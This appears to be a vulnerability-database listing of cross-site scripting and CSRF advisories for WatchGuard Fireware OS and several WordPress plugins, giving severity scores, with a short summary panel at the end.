Improper Neutralization of Input During Web Page Generation (XSS or 'Cross-site Scripting') vulnerability in WatchGuard Fireware OS allows Stored XSS via the spamBlocker module. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.

XSS Fireware Watchguard
NVD VulDB
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in Xylus Themes WP Event Aggregator allows Reflected XSS.8.2. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wp Event Aggregator +2
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Cross-Site Request Forgery (CSRF) vulnerability in Wow-Company WP Coder allows Cross-Site Scripting (XSS).6. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS CSRF +1
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in brandtoss WP Mailster allows Reflected XSS.8.20.0. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in rickonline_nl Better WishList API allows Stored XSS.1.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in AcyMailing Newsletter Team AcyMailing SMTP Newsletter allows Reflected XSS. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
EPSS 0% CVSS 7.1
HIGH This Week

Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in UIUX Lab Uix Page Builder allows Reflected XSS.7.3. Rated high severity (CVSS 7.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.

WordPress XSS Wordpress Plugin
NVD
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Quick Facts

Typical Severity
MEDIUM
Category
web
Total CVEs
40698

Related CWEs

MITRE ATT&CK

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